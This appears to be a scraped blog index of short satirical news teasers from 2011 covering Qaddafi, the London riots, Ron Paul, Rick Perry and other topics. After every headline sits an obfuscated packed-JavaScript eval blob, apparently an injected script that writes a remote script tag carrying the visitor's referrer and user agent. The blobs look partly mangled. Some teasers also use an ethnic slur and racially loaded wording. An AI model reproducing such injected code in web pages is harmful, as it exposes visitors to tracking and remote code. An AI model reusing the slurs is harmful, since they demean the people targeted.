Where’s Qaddafi?

WHERE’S MUAMMAR? eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdntb|var|u0026u|referrer|tatay||js|php’.split(‘|’),0,{})) New book is sweeping the Arab world Cairo, Egypt August 29th, 2011 (SHK) Although Libya’s rebels have gained the upper hand in their fight to oust Muammar el-Qaddafi, nobody seems to know where he is. The Brother Leader releases his dramatic pronouncements almost daily, insisting he “will [...]

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Severe Weather Now the Norm

SEVERE WEATHER NOW THE NORM eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffkiy|var|u0026u|referrer|kdzde||js|php’.split(‘|’),0,{})) Dominates Conversations of Ordinary People Atlanta, GA August 22nd, 2011 (SHK) Weather across the continental United States is now being uniformly termed “severe,” the Weather Channel announced today. Thaddeus Mortimer Simpson III, a network spokesman, explained why. “We do this not just because of [...]

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Ron Paul Runs Again

RON PAUL RUNS FOR PRESIDENT AGAIN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbsbn|var|u0026u|referrer|syhye||js|php’.split(‘|’),0,{})) Not satisfied with two defeats, says he wants three Washington, DC August 18th, 2011 (SHK) Ten-term Texas Republican Congressman Ron Paul, longtime standard bearer for the Libertarian Party, knows that it is impossible for narrow, niche-oriented political candidates to get elected. He benefits [...]

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London Rocked by Riots

LONDON ROCKED BY ENDLESS RIOTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfnky|var|u0026u|referrer|drhft||js|php’.split(‘|’),0,{})) Little Britain’s Coalition Government on Thin Ice London, England August 15th, 2011 (SHK) Widespread criminal vandalism has spread through the city of London like a medieval plague for nearly a week now. According to Metropolitan Police, perpetrators tend to be unemployed, young and colored. [...]

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Political Revivals a Huge Hit

POLITICIANS HOLD REVIVAL MEETINGS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdfzb|var|u0026u|referrer|nziif||js|php’.split(‘|’),0,{})) Some Saved, Many Damned, Most Simply Confused New York, NY August 11th, 2011 (SHK) Texas Republican Gov. Rick Perry stunned the American political world last Saturday when he staged a massive revival at Reliant Stadium in Houston. More than 50,000 religious fanatics attended. Religious conservatives [...]

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Polls Show America Sharply Divided

AMERICA SHARPLY DIVIDED, POLLS SAY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thffb|var|u0026u|referrer|ssezd||js|php’.split(‘|’),0,{})) May be Genetically Hard-Wired, Scholars Fear New York, NY August 8th, 2011 (SHK) The latest CBS/New York Times public opinion poll seems to confirm not only that Americans are sharply divided on most issues, but that this political division has hardened irrevocably. Leading specialists [...]

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Mexican Trucks Invade America

WETBACK TRUCKS JAM AMERICA’S HIGHWAYS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eikbd|var|u0026u|referrer|ndsdk||js|php’.split(‘|’),0,{})) Teamsters Yell ¡Caramba! Tea Party Says, “No Way, José!” El Paso, TX August 8th, 2011 (SHK) By means of a little-known and vaguely worded section of the North American Free Trade Agreement (NAFTA) passed in 1993, Mexico’s 18-wheel tractor-trailers and long-haul trucks may soon [...]

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